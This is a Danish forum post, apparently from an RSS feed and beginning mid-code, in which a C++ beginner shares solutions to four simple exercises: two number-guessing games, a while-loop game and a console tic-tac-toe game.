&nbsp;&nbsp;&nbsp;&nbsp;int spiller = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int vinder;<br />
&nbsp;&nbsp;&nbsp;&nbsp;braet();<br />
&nbsp;&nbsp;&nbsp;&nbsp;do{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller=(spiller%2)?1:2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char xellery=(spiller == 1) ? 'X' : 'O';<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int traek;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nDet er spiller " &lt;&lt; spiller &lt;&lt; "'s tur. &#92;nSkriv et tal: ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; traek;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char konverteret = '0'+traek;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(felt[traek]==konverteret&amp;&amp;1&lt;=traek&amp;&amp;traek&lt;=9){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;felt[traek]=xellery;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Det ka' du sku ik', klik ENTER og skriv et gyldigt tal" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller--;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;braet();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;vinder = tjekvinder();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}while(vinder==0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(vinder==1){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nSpiller " &lt;&lt; --spiller &lt;&lt; " har vundet!" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(vinder==2){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nUafgjort" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
}<br />
<br />
int tjekvinder()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (felt[1] == felt[2] &amp;&amp; felt[2] == felt[3])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[4] == felt[5] &amp;&amp; felt[5] == felt[6])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[7] == felt[8] &amp;&amp; felt[8] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] == felt[4] &amp;&amp; felt[4] == felt[7])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[2] == felt[5] &amp;&amp; felt[5] == felt[8])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[3] == felt[6] &amp;&amp; felt[6] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] == felt[5] &amp;&amp; felt[5] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[3] == felt[5] &amp;&amp; felt[5] == felt[7])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] != '1' &amp;&amp; felt[2] != '2' &amp;&amp; felt[3] != '3' &amp;&amp; felt[4] != '4'<br />
 &amp;&amp; felt[5] != '5' &amp;&amp; felt[6] != '6' &amp;&amp; felt[7] != '7' &amp;&amp; felt[8] != '8' &amp;&amp; felt[9] != '9')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
void braet()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;system("cls");<br />
&nbsp;&nbsp;&nbsp;&nbsp;int nr = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Kryds og bolle!&#92;nSpiller 1: X - Spiller 2: O&#92;n&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(int x=0; x&lt;5;x++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(x==1||x==3){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; " - - - - -&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(x==0||x==2||x==4){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; " " &lt;&lt; felt[nr] &lt;&lt;" | " &lt;&lt; felt[nr+1] &lt;&lt; " | " &lt;&lt; felt[nr+2] &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nr += 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div></div></div>
<br />
Hvis stemningen er for det vil jeg løbende opdatere tråden med flere og sværere opgaver.]]></description>
			<content:encoded><![CDATA[I sidste uge startede jeg på C++ og jeg er ved at have styr på syntax og funktioner. Jeg har et mål om at skrive malware i C++ inden sommerferien er omme.<br />
<br />
Jeg er faldet over en side med begynder opgaver til C++, hvor jeg tænkte at det kunne være meget sjovt at se jeres input til disse. Jeg har tænkt mig skamløst at kopiere (og oversætte) opgaveformuleringen fra siden, så alt credit til <a href="http://www.cplusplus.com/forum/articles/12974/" target="_blank" rel="noopener" class="mycode_url">http://www.cplusplus.com/forum/articles/12974/</a>. <br />
<br />
Bemærk at jeg skriver i C++ 4.3.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1: Simpelt while-loop</span><br />
Skriv et program hvor computeren bliver ved med at spørge efter et givent tal, og først stopper når brugeren har indtastet det. Hvis brugeren så taster det givne tal kommer computeren med meddelsen "Du måtte ikke skrive X". Efter programmet har kørt 10 gange uden at brugeren har tastet X ind skal meddelsen "Du vandt" komme op. Twist: Lav det, så X er det antal gange programmet har kørt, altså 1. gang det kører er tallet 0, 2. gang 1 osv.<br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
<br />
using namespace std;<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int run = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Skriv et hvilket som helst nummer andet end " &lt;&lt; run &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(run&lt;10){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(number!=run){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;run++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Skriv et hvilket som helst nummer andet end " &lt;&lt; run &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; number;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(number==run){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du måtte ikke skrive " &lt;&lt; run;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du vandt.";}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div></div></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Gæt computerens tal</span><br />
Overskriften siger det meste: Computeren tænker på et tilfældigt generet tal mellem 1 og 100, og du skal gætte det. Hver gang du gætter på et tal fortæller computeren dig om dit gæt er højere eller lavere i forhold til det rigtige tal. <br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;stdlib.h&gt; // For at få srand med.<br />
#include &lt;time.h&gt; // For at få time med som seed til srand<br />
<br />
using namespace std;<br />
void gaetcom();<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;gaetcom();<br />
}<br />
<br />
void gaetcom()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;srand(time(0));<br />
&nbsp;&nbsp;&nbsp;&nbsp;int g = rand() % 100; int guess; int runs = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Gæt et tal mellem 1 og 100: ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(guess!=g){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(guess&gt;g){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Tallet er lavere&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(guess&lt;g) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Tallet er højere&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runs++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du gættede tallet på " &lt;&lt; runs &lt;&lt; " forsøg!";<br />
}</code></div></div></div></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Lad computeren gætte dit tal</span><br />
Det her er så den omvendte version af det foregående program. Her skal computeren så gætte dit tal mellem 1 og 100 ved at du fortæller den om dit tal er højere eller lavere end dens gæt. Twist: Computeren må maks bruge 7 forsøg på at gætte dit tal.<br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;string&gt;<br />
<br />
using namespace std;<br />
void comgaet();<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;comgaet();<br />
}<br />
<br />
void comgaet()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Lad computeren gætte dit tal mellem 1 og 100 ved at sige højere eller lavere!" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int forskel = 50; string jhl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int tal = 50; // Computerens gæt starter altid på 50.<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Er dit tal " &lt;&lt; tal &lt;&lt; "? (Ja=j,Højere=h,Lavere=l) ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; jhl;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(jhl!="j"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Jeg dividere forskellen med 2 hver gang, for at indsvævre resultatet effektivt.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Når programmet når ned på 1, skal det stoppe med at halvere tallet.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(forskel!=1){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;forskel = forskel/2;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hvis tallet er højere skal vi bare plusse forskellen på det gættede tal.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(jhl=="h")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tal = tal + forskel;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hvis tallet er højere skal vi bare minusse forskellen på det gættede tal.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(jhl=="l")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tal = tal - forskel;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Er dit tal " &lt;&lt; tal &lt;&lt; "? (Ja=j,Højere=h,Lavere=l) ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; jhl;}<br />
}</code></div></div></div></div>
<br />
<span style="font-weight: bold;" class="mycode_b">4: Kryds og bolle</span><br />
2-players kryds og bolle spil<br />
<br />
<img src="http://puu.sh/2ur5n" alt="[Billede: 2ur5n]" class="mycode_img" /><br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;cstdlib&gt;<br />
#include &lt;conio.h&gt;<br />
<br />
using namespace std;<br />
<br />
void braet();<br />
int tjekvinder(); // tjekkiske kvinder eller tjek vinder?<br />
char felt[10] = {'o','1','2','3','4','5','6','7','8','9'};<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int spiller = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int vinder;<br />
&nbsp;&nbsp;&nbsp;&nbsp;braet();<br />
&nbsp;&nbsp;&nbsp;&nbsp;do{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller=(spiller%2)?1:2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char xellery=(spiller == 1) ? 'X' : 'O';<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int traek;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nDet er spiller " &lt;&lt; spiller &lt;&lt; "'s tur. &#92;nSkriv et tal: ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; traek;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char konverteret = '0'+traek;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(felt[traek]==konverteret&amp;&amp;1&lt;=traek&amp;&amp;traek&lt;=9){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;felt[traek]=xellery;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Det ka' du sku ik', klik ENTER og skriv et gyldigt tal" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller--;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;braet();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;vinder = tjekvinder();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spiller++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}while(vinder==0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(vinder==1){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nSpiller " &lt;&lt; --spiller &lt;&lt; " har vundet!" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(vinder==2){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "&#92;nUafgjort" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
}<br />
<br />
int tjekvinder()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (felt[1] == felt[2] &amp;&amp; felt[2] == felt[3])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[4] == felt[5] &amp;&amp; felt[5] == felt[6])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[7] == felt[8] &amp;&amp; felt[8] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] == felt[4] &amp;&amp; felt[4] == felt[7])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[2] == felt[5] &amp;&amp; felt[5] == felt[8])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[3] == felt[6] &amp;&amp; felt[6] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] == felt[5] &amp;&amp; felt[5] == felt[9])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[3] == felt[5] &amp;&amp; felt[5] == felt[7])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (felt[1] != '1' &amp;&amp; felt[2] != '2' &amp;&amp; felt[3] != '3' &amp;&amp; felt[4] != '4'<br />
 &amp;&amp; felt[5] != '5' &amp;&amp; felt[6] != '6' &amp;&amp; felt[7] != '7' &amp;&amp; felt[8] != '8' &amp;&amp; felt[9] != '9')<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
void braet()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;system("cls");<br />
&nbsp;&nbsp;&nbsp;&nbsp;int nr = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Kryds og bolle!&#92;nSpiller 1: X - Spiller 2: O&#92;n&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(int x=0; x&lt;5;x++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(x==1||x==3){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; " - - - - -&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(x==0||x==2||x==4){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; " " &lt;&lt; felt[nr] &lt;&lt;" | " &lt;&lt; felt[nr+1] &lt;&lt; " | " &lt;&lt; felt[nr+2] &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nr += 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div></div></div>
<br />
Hvis stemningen er for det vil jeg løbende opdatere tråden med flere og sværere opgaver.]]></content:encoded>
		</item>
	</channel>
</rss>